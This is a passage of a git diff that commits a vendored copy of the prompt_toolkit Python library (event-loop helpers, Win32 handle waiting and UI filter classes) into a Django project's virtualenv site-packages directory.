Function that returns a generator or iterable when + called. + """ + quitting = False + _done = _Done() + q: Queue[Union[_T, _Done]] = Queue() + loop = get_event_loop() + + def runner() -> None: + """ + Consume the generator in background thread. + When items are received, they'll be pushed to the queue. + """ + try: + for item in get_iterable(): + # When this async generator was cancelled (closed), stop this + # thread. + if quitting: + break + + loop.call_soon_threadsafe(q.put_nowait, item) + + finally: + loop.call_soon_threadsafe(q.put_nowait, _done) + + # Start background thread. + runner_f = run_in_executor_with_context(runner) + + try: + while True: + item = await q.get() + if isinstance(item, _Done): + break + else: + yield item + finally: + # When this async generator is closed (GeneratorExit exception, stop + # the background thread as well. - we don't need that anymore.) + quitting = True + + # Wait for the background thread to finish. (should happen right after + # the next item is yielded). If we don't do this, and the event loop + # gets closed before the runner is done, then we'll get a + # `RuntimeError: Event loop is closed` exception printed to stdout that + # we can't handle. + await runner_f diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/dummy_contextvars.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/dummy_contextvars.py new file mode 100644 index 00000000..2b20d69b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/dummy_contextvars.py @@ -0,0 +1,49 @@ +""" +Dummy contextvars implementation, to make prompt_toolkit work on Python 3.6. + +As long as there is only one application running at a time, we don't need the +real contextvars. So, stuff like the telnet-server and so on requires 3.7. +""" +from typing import Any, Callable, Generic, Optional, TypeVar + + +def copy_context() -> "Context": + return Context() + + +_T = TypeVar("_T") + + +class Context: + def run(self, callable: Callable[..., _T], *args: Any, **kwargs: Any) -> _T: + return callable(*args, **kwargs) + + def copy(self) -> "Context": + return self + + +class Token(Generic[_T]): + pass + + +class ContextVar(Generic[_T]): + def __init__(self, name: str, *, default: Optional[_T] = None) -> None: + self._name = name + self._value = default + + @property + def name(self) -> str: + return self._name + + def get(self, default: Optional[_T] = None) -> _T: + result = self._value or default + if result is None: + raise LookupError + return result + + def set(self, value: _T) -> Token[_T]: + self._value = value + return Token() + + def reset(self, token: Token[_T]) -> None: + pass diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/inputhook.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/inputhook.py new file mode 100644 index 00000000..05d29811 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/inputhook.py @@ -0,0 +1,183 @@ +""" +Similar to `PyOS_InputHook` of the Python API, we can plug in an input hook in +the asyncio event loop. + +The way this works is by using a custom 'selector' that runs the other event +loop until the real selector is ready. + +It's the responsibility of this event hook to return when there is input ready. +There are two ways to detect when input is ready: + +The inputhook itself is a callable that receives an `InputHookContext`. This +callable should run the other event loop, and return when the main loop has +stuff to do. There are two ways to detect when to return: + +- Call the `input_is_ready` method periodically. Quit when this returns `True`. + +- Add the `fileno` as a watch to the external eventloop. Quit when file descriptor + becomes readable. (But don't read from it.) + + Note that this is not the same as checking for `sys.stdin.fileno()`. The + eventloop of prompt-toolkit allows thread-based executors, for example for + asynchronous autocompletion. When the completion for instance is ready, we + also want prompt-toolkit to gain control again in order to display that. +""" +import asyncio +import os +import select +import selectors +import sys +import threading +from asyncio import AbstractEventLoop +from selectors import BaseSelector, SelectorKey +from typing import TYPE_CHECKING, Any, Callable, List, Mapping, Optional, Tuple + +from .utils import get_event_loop + +__all__ = [ + "new_eventloop_with_inputhook", + "set_eventloop_with_inputhook", + "InputHookSelector", + "InputHookContext", +] + +if TYPE_CHECKING: + from _typeshed import FileDescriptorLike + + _EventMask = int + + +def new_eventloop_with_inputhook( + inputhook: Callable[["InputHookContext"], None] +) -> AbstractEventLoop: + """ + Create a new event loop with the given inputhook. + """ + selector = InputHookSelector(selectors.DefaultSelector(), inputhook) + loop = asyncio.SelectorEventLoop(selector) + return loop + + +def set_eventloop_with_inputhook( + inputhook: Callable[["InputHookContext"], None] +) -> AbstractEventLoop: + """ + Create a new event loop with the given inputhook, and activate it. + """ + loop = new_eventloop_with_inputhook(inputhook) + asyncio.set_event_loop(loop) + return loop + + +class InputHookSelector(BaseSelector): + """ + Usage: + + selector = selectors.SelectSelector() + loop = asyncio.SelectorEventLoop(InputHookSelector(selector, inputhook)) + asyncio.set_event_loop(loop) + """ + + def __init__( + self, selector: BaseSelector, inputhook: Callable[["InputHookContext"], None] + ) -> None: + self.selector = selector + self.inputhook = inputhook + self._r, self._w = os.pipe() + + def register( + self, fileobj: "FileDescriptorLike", events: "_EventMask", data: Any = None + ) -> "SelectorKey": + return self.selector.register(fileobj, events, data=data) + + def unregister(self, fileobj: "FileDescriptorLike") -> "SelectorKey": + return self.selector.unregister(fileobj) + + def modify( + self, fileobj: "FileDescriptorLike", events: "_EventMask", data: Any = None + ) -> "SelectorKey": + return self.selector.modify(fileobj, events, data=None) + + def select( + self, timeout: Optional[float] = None + ) -> List[Tuple["SelectorKey", "_EventMask"]]: + # If there are tasks in the current event loop, + # don't run the input hook. + if len(getattr(get_event_loop(), "_ready", [])) > 0: + return self.selector.select(timeout=timeout) + + ready = False + result = None + + # Run selector in other thread. + def run_selector() -> None: + nonlocal ready, result + result = self.selector.select(timeout=timeout) + os.write(self._w, b"x") + ready = True + + th = threading.Thread(target=run_selector) + th.start() + + def input_is_ready() -> bool: + return ready + + # Call inputhook. + # The inputhook function is supposed to return when our selector + # becomes ready. The inputhook can do that by registering the fd in its + # own loop, or by checking the `input_is_ready` function regularly. + self.inputhook(InputHookContext(self._r, input_is_ready)) + + # Flush the read end of the pipe. + try: + # Before calling 'os.read', call select.select. This is required + # when the gevent monkey patch has been applied. 'os.read' is never + # monkey patched and won't be cooperative, so that would block all + # other select() calls otherwise. + # See: http://www.gevent.org/gevent.os.html + + # Note: On Windows, this is apparently not an issue. + # However, if we would ever want to add a select call, it + # should use `windll.kernel32.WaitForMultipleObjects`, + # because `select.select` can't wait for a pipe on Windows. + if sys.platform != "win32": + select.select([self._r], [], [], None) + + os.read(self._r, 1024) + except OSError: + # This happens when the window resizes and a SIGWINCH was received. + # We get 'Error: [Errno 4] Interrupted system call' + # Just ignore. + pass + + # Wait for the real selector to be done. + th.join() + assert result is not None + return result + + def close(self) -> None: + """ + Clean up resources. + """ + if self._r: + os.close(self._r) + os.close(self._w) + + self._r = self._w = -1 + self.selector.close() + + def get_map(self) -> Mapping["FileDescriptorLike", "SelectorKey"]: + return self.selector.get_map() + + +class InputHookContext: + """ + Given as a parameter to the inputhook. + """ + + def __init__(self, fileno: int, input_is_ready: Callable[[], bool]) -> None: + self._fileno = fileno + self.input_is_ready = input_is_ready + + def fileno(self) -> int: + return self._fileno diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/utils.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/utils.py new file mode 100644 index 00000000..2e5a05e8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/utils.py @@ -0,0 +1,118 @@ +import asyncio +import sys +import time +from types import TracebackType +from typing import Any, Awaitable, Callable, Dict, Optional, TypeVar, cast + +try: + import contextvars +except ImportError: + from . import dummy_contextvars as contextvars # type: ignore + +__all__ = [ + "run_in_executor_with_context", + "call_soon_threadsafe", + "get_traceback_from_context", + "get_event_loop", +] + +_T = TypeVar("_T") + + +def run_in_executor_with_context( + func: Callable[..., _T], + *args: Any, + loop: Optional[asyncio.AbstractEventLoop] = None, +) -> Awaitable[_T]: + """ + Run a function in an executor, but make sure it uses the same contextvars. + This is required so that the function will see the right application. + + See also: https://bugs.python.org/issue34014 + """ + loop = loop or get_event_loop() + ctx: contextvars.Context = contextvars.copy_context() + + return loop.run_in_executor(None, ctx.run, func, *args) + + +def call_soon_threadsafe( + func: Callable[[], None], + max_postpone_time: Optional[float] = None, + loop: Optional[asyncio.AbstractEventLoop] = None, +) -> None: + """ + Wrapper around asyncio's `call_soon_threadsafe`. + + This takes a `max_postpone_time` which can be used to tune the urgency of + the method. + + Asyncio runs tasks in first-in-first-out. However, this is not what we + want for the render function of the prompt_toolkit UI. Rendering is + expensive, but since the UI is invalidated very often, in some situations + we render the UI too often, so much that the rendering CPU usage slows down + the rest of the processing of the application. (Pymux is an example where + we have to balance the CPU time spend on rendering the UI, and parsing + process output.) + However, we want to set a deadline value, for when the rendering should + happen. (The UI should stay responsive). + """ + loop2 = loop or get_event_loop() + + # If no `max_postpone_time` has been given, schedule right now. + if max_postpone_time is None: + loop2.call_soon_threadsafe(func) + return + + max_postpone_until = time.time() + max_postpone_time + + def schedule() -> None: + # When there are no other tasks scheduled in the event loop. Run it + # now. + # Notice: uvloop doesn't have this _ready attribute. In that case, + # always call immediately. + if not getattr(loop2, "_ready", []): + func() + return + + # If the timeout expired, run this now. + if time.time() > max_postpone_until: + func() + return + + # Schedule again for later. + loop2.call_soon_threadsafe(schedule) + + loop2.call_soon_threadsafe(schedule) + + +def get_traceback_from_context(context: Dict[str, Any]) -> Optional[TracebackType]: + """ + Get the traceback object from the context. + """ + exception = context.get("exception") + if exception: + if hasattr(exception, "__traceback__"): + return cast(TracebackType, exception.__traceback__) + else: + # call_exception_handler() is usually called indirectly + # from an except block. If it's not the case, the traceback + # is undefined... + return sys.exc_info()[2] + + return None + + +def get_event_loop() -> asyncio.AbstractEventLoop: + """Backward compatible way to get the event loop""" + # Python 3.6 doesn't have get_running_loop + # Python 3.10 deprecated get_event_loop + if sys.version_info >= (3, 7): + getloop = asyncio.get_running_loop + else: + getloop = asyncio.get_event_loop + + try: + return getloop() + except RuntimeError: + return asyncio.get_event_loop_policy().get_event_loop() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/win32.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/win32.py new file mode 100644 index 00000000..fbc02d49 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/eventloop/win32.py @@ -0,0 +1,73 @@ +import sys + +assert sys.platform == "win32" + +from ctypes import pointer + +from ..utils import SPHINX_AUTODOC_RUNNING + +# Do not import win32-specific stuff when generating documentation. +# Otherwise RTD would be unable to generate docs for this module. +if not SPHINX_AUTODOC_RUNNING: + from ctypes import windll + +from ctypes.wintypes import BOOL, DWORD, HANDLE +from typing import List, Optional + +from prompt_toolkit.win32_types import SECURITY_ATTRIBUTES + +__all__ = ["wait_for_handles", "create_win32_event"] + + +WAIT_TIMEOUT = 0x00000102 +INFINITE = -1 + + +def wait_for_handles( + handles: List[HANDLE], timeout: int = INFINITE +) -> Optional[HANDLE]: + """ + Waits for multiple handles. (Similar to 'select') Returns the handle which is ready. + Returns `None` on timeout. + http://msdn.microsoft.com/en-us/library/windows/desktop/ms687025(v=vs.85).aspx + + Note that handles should be a list of `HANDLE` objects, not integers. See + this comment in the patch by @quark-zju for the reason why: + + ''' Make sure HANDLE on Windows has a correct size + + Previously, the type of various HANDLEs are native Python integer + types. The ctypes library will treat them as 4-byte integer when used + in function arguments. On 64-bit Windows, HANDLE is 8-byte and usually + a small integer. Depending on whether the extra 4 bytes are zero-ed out + or not, things can happen to work, or break. ''' + + This function returns either `None` or one of the given `HANDLE` objects. + (The return value can be tested with the `is` operator.) + """ + arrtype = HANDLE * len(handles) + handle_array = arrtype(*handles) + + ret: int = windll.kernel32.WaitForMultipleObjects( + len(handle_array), handle_array, BOOL(False), DWORD(timeout) + ) + + if ret == WAIT_TIMEOUT: + return None + else: + return handles[ret] + + +def create_win32_event() -> HANDLE: + """ + Creates a Win32 unnamed Event . + http://msdn.microsoft.com/en-us/library/windows/desktop/ms682396(v=vs.85).aspx + """ + return HANDLE( + windll.kernel32.CreateEventA( + pointer(SECURITY_ATTRIBUTES()), + BOOL(True), # Manual reset event. + BOOL(False), # Initial state. + None, # Unnamed event object. + ) + ) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/__init__.py new file mode 100644 index 00000000..d97195fb --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/__init__.py @@ -0,0 +1,68 @@ +""" +Filters decide whether something is active or not (they decide about a boolean +state). This is used to enable/disable features, like key bindings, parts of +the layout and other stuff. For instance, we could have a `HasSearch` filter +attached to some part of the layout, in order to show that part of the user +interface only while the user is searching. + +Filters are made to avoid having to attach callbacks to all event in order to +propagate state. However, they are lazy, they don't automatically propagate the +state of what they are observing. Only when a filter is called (it's actually a +callable), it will calculate its value. So, its not really reactive +programming, but it's made to fit for this framework. + +Filters can be chained using ``&`` and ``|`` operations, and inverted using the +``~`` operator, for instance:: + + filter = has_focus('default') & ~ has_selection +""" +from .app import * +from .base import Always, Condition, Filter, FilterOrBool, Never +from .cli import * +from .utils import is_true, to_filter + +__all__ = [ + # app + "has_arg", + "has_completions", + "completion_is_selected", + "has_focus", + "buffer_has_focus", + "has_selection", + "has_validation_error", + "is_done", + "is_read_only", + "is_multiline", + "renderer_height_is_known", + "in_editing_mode", + "in_paste_mode", + "vi_mode", + "vi_navigation_mode", + "vi_insert_mode", + "vi_insert_multiple_mode", + "vi_replace_mode", + "vi_selection_mode", + "vi_waiting_for_text_object_mode", + "vi_digraph_mode", + "vi_recording_macro", + "emacs_mode", + "emacs_insert_mode", + "emacs_selection_mode", + "shift_selection_mode", + "is_searching", + "control_is_searchable", + "vi_search_direction_reversed", + # base. + "Filter", + "Never", + "Always", + "Condition", + "FilterOrBool", + # utils. + "is_true", + "to_filter", +] + +from .cli import __all__ as cli_all + +__all__.extend(cli_all) diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/app.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/app.py new file mode 100644 index 00000000..767ec492 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/app.py @@ -0,0 +1,402 @@ +""" +Filters that accept a `Application` as argument. +""" +from typing import TYPE_CHECKING, cast + +from prompt_toolkit.application.current import get_app +from prompt_toolkit.cache import memoized +from prompt_toolkit.enums import EditingMode + +from .base import Condition + +if TYPE_CHECKING: + from prompt_toolkit.layout.layout import FocusableElement + + +__all__ = [ + "has_arg", + "has_completions", + "completion_is_selected", + "has_focus", + "buffer_has_focus", + "has_selection", + "has_validation_error", + "is_done", + "is_read_only", + "is_multiline", + "renderer_height_is_known", + "in_editing_mode", + "in_paste_mode", + "vi_mode", + "vi_navigation_mode", + "vi_insert_mode", + "vi_insert_multiple_mode", + "vi_replace_mode", + "vi_selection_mode", + "vi_waiting_for_text_object_mode", + "vi_digraph_mode", + "vi_recording_macro", + "emacs_mode", + "emacs_insert_mode", + "emacs_selection_mode", + "shift_selection_mode", + "is_searching", + "control_is_searchable", + "vi_search_direction_reversed", +] + + +@memoized() +def has_focus(value: "FocusableElement") -> Condition: + """ + Enable when this buffer has the focus. + """ + from prompt_toolkit.buffer import Buffer + from prompt_toolkit.layout import walk + from prompt_toolkit.layout.containers import Container, Window, to_container + from prompt_toolkit.layout.controls import UIControl + + if isinstance(value, str): + + def test() -> bool: + return get_app().current_buffer.name == value + + elif isinstance(value, Buffer): + + def test() -> bool: + return get_app().current_buffer == value + + elif isinstance(value, UIControl): + + def test() -> bool: + return get_app().layout.current_control == value + + else: + value = to_container(value) + + if isinstance(value, Window): + + def test() -> bool: + return get_app().layout.current_window == value + + else: + + def test() -> bool: + # Consider focused when any window inside this container is + # focused. + current_window = get_app().layout.current_window + + for c in walk(cast(Container, value)): + if isinstance(c, Window) and c == current_window: + return True + return False + + @Condition + def has_focus_filter() -> bool: + return test() + + return has_focus_filter + + +@Condition +def buffer_has_focus() -> bool: + """ + Enabled when the currently focused control is a `BufferControl`. + """ + return get_app().layout.buffer_has_focus + + +@Condition +def has_selection() -> bool: + """ + Enable when the current buffer has a selection. + """ + return bool(get_app().current_buffer.selection_state) + + +@Condition +def has_completions() -> bool: + """ + Enable when the current buffer has completions. + """ + state = get_app().current_buffer.complete_state + return state is not None and len(state.completions) > 0 + + +@Condition +def completion_is_selected() -> bool: + """ + True when the user selected a completion. + """ + complete_state = get_app().current_buffer.complete_state + return complete_state is not None and complete_state.current_completion is not None + + +@Condition +def is_read_only() -> bool: + """ + True when the current buffer is read only. + """ + return get_app().current_buffer.read_only() + + +@Condition +def is_multiline() -> bool: + """ + True when the current buffer has been marked as multiline. + """ + return get_app().current_buffer.multiline() + + +@Condition +def has_validation_error() -> bool: + "Current buffer has validation error." + return get_app().current_buffer.validation_error is not None + + +@Condition +def has_arg() -> bool: + "Enable when the input processor has an 'arg'." + return get_app().key_processor.arg is not None + + +@Condition +def is_done() -> bool: + """ + True when the CLI is returning, aborting or exiting. + """ + return get_app().is_done + + +@Condition +def renderer_height_is_known() -> bool: + """ + Only True when the renderer knows it's real height. + + (On VT100 terminals, we have to wait for a CPR response, before we can be + sure of the available height between the cursor position and the bottom of + the terminal. And usually it's nicer to wait with drawing bottom toolbars + until we receive the height, in order to avoid flickering -- first drawing + somewhere in the middle, and then again at the bottom.) + """ + return get_app().renderer.height_is_known + + +@memoized() +def in_editing_mode(editing_mode: EditingMode) -> Condition: + """ + Check whether a given editing mode is active. (Vi or Emacs.) + """ + + @Condition + def in_editing_mode_filter() -> bool: + return get_app().editing_mode == editing_mode + + return in_editing_mode_filter + + +@Condition +def in_paste_mode() -> bool: + return get_app().paste_mode() + + +@Condition +def vi_mode() -> bool: + return get_app().editing_mode == EditingMode.VI + + +@Condition +def vi_navigation_mode() -> bool: + """ + Active when the set for Vi navigation key bindings are active. + """ + from prompt_toolkit.key_binding.vi_state import InputMode + + app = get_app() + + if ( + app.editing_mode != EditingMode.VI + or app.vi_state.operator_func + or app.vi_state.waiting_for_digraph + or app.current_buffer.selection_state + ): + return False + + return ( + app.vi_state.input_mode == InputMode.NAVIGATION + or app.vi_state.temporary_navigation_mode + or app.current_buffer.read_only() + ) + + +@Condition +def vi_insert_mode() -> bool: + from prompt_toolkit.key_binding.vi_state import InputMode + + app = get_app() + + if ( + app.editing_mode != EditingMode.VI + or app.vi_state.operator_func + or app.vi_state.waiting_for_digraph + or app.current_buffer.selection_state + or app.vi_state.temporary_navigation_mode + or app.current_buffer.read_only() + ): + return False + + return app.vi_state.input_mode == InputMode.INSERT + + +@Condition +def vi_insert_multiple_mode() -> bool: + from prompt_toolkit.key_binding.vi_state import InputMode + + app = get_app() + + if ( + app.editing_mode != EditingMode.VI + or app.vi_state.operator_func + or app.vi_state.waiting_for_digraph + or app.current_buffer.selection_state + or app.vi_state.temporary_navigation_mode + or app.current_buffer.read_only() + ): + return False + + return app.vi_state.input_mode == InputMode.INSERT_MULTIPLE + + +@Condition +def vi_replace_mode() -> bool: + from prompt_toolkit.key_binding.vi_state import InputMode + + app = get_app() + + if ( + app.editing_mode != EditingMode.VI + or app.vi_state.operator_func + or app.vi_state.waiting_for_digraph + or app.current_buffer.selection_state + or app.vi_state.temporary_navigation_mode + or app.current_buffer.read_only() + ): + return False + + return app.vi_state.input_mode == InputMode.REPLACE + + +@Condition +def vi_replace_single_mode() -> bool: + from prompt_toolkit.key_binding.vi_state import InputMode + + app = get_app() + + if ( + app.editing_mode != EditingMode.VI + or app.vi_state.operator_func + or app.vi_state.waiting_for_digraph + or app.current_buffer.selection_state + or app.vi_state.temporary_navigation_mode + or app.current_buffer.read_only() + ): + return False + + return app.vi_state.input_mode == InputMode.REPLACE_SINGLE + + +@Condition +def vi_selection_mode() -> bool: + app = get_app() + if app.editing_mode != EditingMode.VI: + return False + + return bool(app.current_buffer.selection_state) + + +@Condition +def vi_waiting_for_text_object_mode() -> bool: + app = get_app() + if app.editing_mode != EditingMode.VI: + return False + + return app.vi_state.operator_func is not None + + +@Condition +def vi_digraph_mode() -> bool: + app = get_app() + if app.editing_mode != EditingMode.VI: + return False + + return app.vi_state.waiting_for_digraph + + +@Condition +def vi_recording_macro() -> bool: + "When recording a Vi macro." + app = get_app() + if app.editing_mode != EditingMode.VI: + return False + + return app.vi_state.recording_register is not None + + +@Condition +def emacs_mode() -> bool: + "When the Emacs bindings are active." + return get_app().editing_mode == EditingMode.EMACS + + +@Condition +def emacs_insert_mode() -> bool: + app = get_app() + if ( + app.editing_mode != EditingMode.EMACS + or app.current_buffer.selection_state + or app.current_buffer.read_only() + ): + return False + return True + + +@Condition +def emacs_selection_mode() -> bool: + app = get_app() + return bool( + app.editing_mode == EditingMode.EMACS and app.current_buffer.selection_state + ) + + +@Condition +def shift_selection_mode() -> bool: + app = get_app() + return bool( + app.current_buffer.selection_state + and app.current_buffer.selection_state.shift_mode + ) + + +@Condition +def is_searching() -> bool: + "When we are searching." + app = get_app() + return app.layout.is_searching + + +@Condition +def control_is_searchable() -> bool: + "When the current UIControl is searchable." + from prompt_toolkit.layout.controls import BufferControl + + control = get_app().layout.current_control + + return ( + isinstance(control, BufferControl) and control.search_buffer_control is not None + ) + + +@Condition +def vi_search_direction_reversed() -> bool: + "When the '/' and '?' key bindings for Vi-style searching have been reversed." + return get_app().reverse_vi_search_direction() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/base.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/base.py new file mode 100644 index 00000000..fd57cca6 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/base.py @@ -0,0 +1,217 @@ +from abc import ABCMeta, abstractmethod +from typing import Callable, Dict, Iterable, List, Tuple, Union + +__all__ = ["Filter", "Never", "Always", "Condition", "FilterOrBool"] + + +class Filter(metaclass=ABCMeta): + """ + Base class for any filter to activate/deactivate a feature, depending on a + condition. + + The return value of ``__call__`` will tell if the feature should be active. + """ + + @abstractmethod + def __call__(self) -> bool: + """ + The actual call to evaluate the filter. + """ + return True + + def __and__(self, other: "Filter") -> "Filter": + """ + Chaining of filters using the & operator. + """ + return _and_cache[self, other] + + def __or__(self, other: "Filter") -> "Filter": + """ + Chaining of filters using the | operator. + """ + return _or_cache[self, other] + + def __invert__(self) -> "Filter": + """ + Inverting of filters using the ~ operator. + """ + return _invert_cache[self] + + def __bool__(self) -> None: + """ + By purpose, we don't allow bool(...) operations directly on a filter, + because the meaning is ambiguous. + + Executing a filter has to be done always by calling it. Providing + defaults for `None` values should be done through an `is None` check + instead of for instance ``filter1 or Always()``. + """ + raise ValueError( + "The truth value of a Filter is ambiguous. " + "Instead, call it as a function." + ) + + +class _AndCache(Dict[Tuple[Filter, Filter], "_AndList"]): + """ + Cache for And operation between filters. + (Filter classes are stateless, so we can reuse them.) + + Note: This could be a memory leak if we keep creating filters at runtime. + If that is True, the filters should be weakreffed (not the tuple of + filters), and tuples should be removed when one of these filters is + removed. In practise however, there is a finite amount of filters. + """ + + def __missing__(self, filters: Tuple[Filter, Filter]) -> Filter: + a, b = filters + assert isinstance(b, Filter), "Expecting filter, got %r" % b + + if isinstance(b, Always) or isinstance(a, Never): + return a + elif isinstance(b, Never) or isinstance(a, Always): + return b + + result = _AndList(filters) + self[filters] = result + return result + + +class _OrCache(Dict[Tuple[Filter, Filter], "_OrList"]): + """Cache for Or operation between filters.""" + + def __missing__(self, filters: Tuple[Filter, Filter]) -> Filter: + a, b = filters + assert isinstance(b, Filter), "Expecting filter, got %r" % b + + if isinstance(b, Always) or isinstance(a, Never): + return b + elif isinstance(b, Never) or isinstance(a, Always): + return a + + result = _OrList(filters) + self[filters] = result + return result + + +class _InvertCache(Dict[Filter, "_Invert"]): + """Cache for inversion operator.""" + + def __missing__(self, filter: Filter) -> Filter: + result = _Invert(filter) + self[filter] = result + return result + + +_and_cache = _AndCache() +_or_cache = _OrCache() +_invert_cache = _InvertCache() + + +class _AndList(Filter): + """ + Result of &-operation between several filters. + """ + + def __init__(self, filters: Iterable[Filter]) -> None: + self.filters: List[Filter] = [] + + for f in filters: + if isinstance(f, _AndList): # Turn nested _AndLists into one. + self.filters.extend(f.filters) + else: + self.filters.append(f) + + def __call__(self) -> bool: + return all(f() for f in self.filters) + + def __repr__(self) -> str: + return "&".join(repr(f) for f in self.filters) + + +class _OrList(Filter): + """ + Result of |-operation between several filters. + """ + + def __init__(self, filters: Iterable[Filter]) -> None: + self.filters: List[Filter] = [] + + for f in filters: + if isinstance(f, _OrList): # Turn nested _OrLists into one. + self.filters.extend(f.filters) + else: + self.filters.append(f) + + def __call__(self) -> bool: + return any(f() for f in self.filters) + + def __repr__(self) -> str: + return "|".join(repr(f) for f in self.filters) + + +class _Invert(Filter): + """ + Negation of another filter. + """ + + def __init__(self, filter: Filter) -> None: + self.filter = filter + + def __call__(self) -> bool: + return not self.filter() + + def __repr__(self) -> str: + return "~%r" % self.filter + + +class Always(Filter): + """ + Always enable feature. + """ + + def __call__(self) -> bool: + return True + + def __invert__(self) -> "Never": + return Never() + + +class Never(Filter): + """ + Never enable feature. + """ + + def __call__(self) -> bool: + return False + + def __invert__(self) -> Always: + return Always() + + +class Condition(Filter): + """ + Turn any callable into a Filter. The callable is supposed to not take any + arguments. + + This can be used as a decorator:: + + @Condition + def feature_is_active(): # `feature_is_active` becomes a Filter. + return True + + :param func: Callable which takes no inputs and returns a boolean. + """ + + def __init__(self, func: Callable[[], bool]) -> None: + self.func = func + + def __call__(self) -> bool: + return self.func() + + def __repr__(self) -> str: + return "Condition(%r)" % self.func + + +# Often used as type annotation. +FilterOrBool = Union[Filter, bool] diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/cli.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/cli.py new file mode 100644 index 00000000..7135196c --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/cli.py @@ -0,0 +1,62 @@ +""" +For backwards-compatibility. keep this file. +(Many people are going to have key bindings that rely on this file.) +""" +from .app import * + +__all__ = [ + # Old names. + "HasArg", + "HasCompletions", + "HasFocus", + "HasSelection", + "HasValidationError", + "IsDone", + "IsReadOnly", + "IsMultiline", + "RendererHeightIsKnown", + "InEditingMode", + "InPasteMode", + "ViMode", + "ViNavigationMode", + "ViInsertMode", + "ViInsertMultipleMode", + "ViReplaceMode", + "ViSelectionMode", + "ViWaitingForTextObjectMode", + "ViDigraphMode", + "EmacsMode", + "EmacsInsertMode", + "EmacsSelectionMode", + "IsSearching", + "HasSearch", + "ControlIsSearchable", +] + +# Keep the original classnames for backwards compatibility. +HasValidationError = lambda: has_validation_error +HasArg = lambda: has_arg +IsDone = lambda: is_done +RendererHeightIsKnown = lambda: renderer_height_is_known +ViNavigationMode = lambda: vi_navigation_mode +InPasteMode = lambda: in_paste_mode +EmacsMode = lambda: emacs_mode +EmacsInsertMode = lambda: emacs_insert_mode +ViMode = lambda: vi_mode +IsSearching = lambda: is_searching +HasSearch = lambda: is_searching +ControlIsSearchable = lambda: control_is_searchable +EmacsSelectionMode = lambda: emacs_selection_mode +ViDigraphMode = lambda: vi_digraph_mode +ViWaitingForTextObjectMode = lambda: vi_waiting_for_text_object_mode +ViSelectionMode = lambda: vi_selection_mode +ViReplaceMode = lambda: vi_replace_mode +ViInsertMultipleMode = lambda: vi_insert_multiple_mode +ViInsertMode = lambda: vi_insert_mode +HasSelection = lambda: has_selection +HasCompletions = lambda: has_completions +IsReadOnly = lambda: is_read_only +IsMultiline = lambda: is_multiline + +HasFocus = has_focus # No lambda here! (Has_focus is callable that returns a callable.) +InEditingMode = in_editing_mode diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/utils.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/utils.py new file mode 100644 index 00000000..aaf44aa8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/filters/utils.py @@ -0,0 +1,41 @@ +from typing import Dict + +from .base import Always, Filter, FilterOrBool, Never + +__all__ = [ + "to_filter", + "is_true", +] + + +_always = Always() +_never = Never() + + +_bool_to_filter: Dict[bool, Filter] = { + True: _always, + False: _never, +} + + +def to_filter(bool_or_filter: FilterOrBool) -> Filter: + """ + Accept both booleans and Filters as input and + turn it into a Filter. + """ + if isinstance(bool_or_filter, bool): + return _bool_to_filter[bool_or_filter] + + if isinstance(bool_or_filter, Filter): + return bool_or_filter + + raise TypeError("Expecting a bool or a Filter instance. Got %r" % bool_or_filter) + + +def is_true(value: FilterOrBool) -> bool: + """ + Test whether `value` is True. In case of a Filter, call it. + + :param value: Boolean or `Filter` instance. + """ + return to_filter(value)() diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/__init__.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/__init__.py new file mode 100644 index 00000000..f0c92c96 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/formatted_text/__init__.py @@ -0,0 +1,54 @@ +""" +Many places in prompt_toolkit can take either plain text, or formatted text. +For instance the :func:`~prompt_toolkit.shortcuts.prompt` function takes either +plain text or formatted text for the prompt. The +:class:`~prompt_toolkit.layout.FormattedTextControl` can also take either plain +text or formatted text. + +In any case, there is an input that can either be just plain text (a string), +an :class:`.HTML` object, an :class:`.ANSI` object or a sequence of +`(style_string, text)` tuples. The :func:`.to_formatted_text` conversion +function takes any of these and turns all of them into such a tuple sequence. +""" +from .ansi import ANSI +from .base import ( + AnyFormattedText, + FormattedText, + StyleAndTextTuples, + Template, + is_formatted_text, + merge_formatted_text, + to_formatted_text, +) +from .html import HTML +from .pygments import PygmentsTokens +from .utils import ( + fragment_list_len, + fragment_list_to_text, + fragment_list_width, + split_lines, + to_plain_text, +) + +__all__ = [ + # Base. + "AnyFormattedText", + "to_formatted_text", + "is_formatted_text", + "Template", + "merge_formatted_text", + "FormattedText", + "StyleAndTextTuples", + # HTML. + "HTML", + # ANSI. + "ANSI", + # Pygments. + 